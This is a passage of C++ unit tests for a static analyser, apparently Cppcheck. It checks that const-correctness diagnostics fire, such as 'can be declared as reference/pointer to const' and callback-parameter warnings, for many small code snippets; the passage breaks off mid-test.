{\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"class C;\\n\" // #11646\n \"void g(const C* const p);\\n\"\n \"void f(C* c) {\\n\"\n \" g(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Parameter 'c' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\" // #11674\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"typedef void (*cb_t)(int*);\\n\"\n \"void cb(int* p) {\\n\"\n \" if (*p) {}\\n\"\n \"}\\n\"\n \"void g(cb_t);\\n\"\n \"void f() {\\n\"\n \" g(::cb);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:2:14]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'cb' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"void f1(std::vector* p) {\\n\" // #11681\n \" if (p->empty()) {}\\n\" // warn\n \"}\\n\"\n \"void f2(std::vector* p) {\\n\"\n \" p->resize(0);\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" void h1() const;\\n\"\n \" void h2();\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void k(int&);\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h1();\\n\" // warn\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" s->h2();\\n\"\n \"}\\n\"\n \"void g1(S* s) {\\n\"\n \" if (s->i) {}\\n\" // warn\n \"}\\n\"\n \"void g2(S* s) {\\n\"\n \" s->i = 0;\\n\"\n \"}\\n\"\n \"void g3(S* s) {\\n\"\n \" k(s->i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:13:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:19:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11573\n \" const char* g() const {\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" const char* m;\\n\"\n \"};\\n\"\n \"struct T { std::vector v; };\\n\"\n \"void f(T* t, const char* n) {\\n\"\n \" for (const auto* p : t->v)\\n\"\n \" if (strcmp(p->g(), n) == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (style) Parameter 't' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int*& p, int* q) {\\n\"\n \" p = q;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S* s) {\\n\"\n \" if (s->a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"size_t f(char* p) {\\n\" // #11842\n \" return strlen(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void f(int* p) {\\n\" // #11862\n \" long long j = *(p++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(void *p, size_t nmemb, size_t size, int (*cmp)(const void *, const void *)) {\\n\"\n \" qsort(p, nmemb, size, cmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool *r, std::size_t *b) {\\n\" // #12129\n \" if (*r && *b >= 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Parameter 'r' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:30]: (style) Parameter 'b' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\" // #12185\n \" void* p = 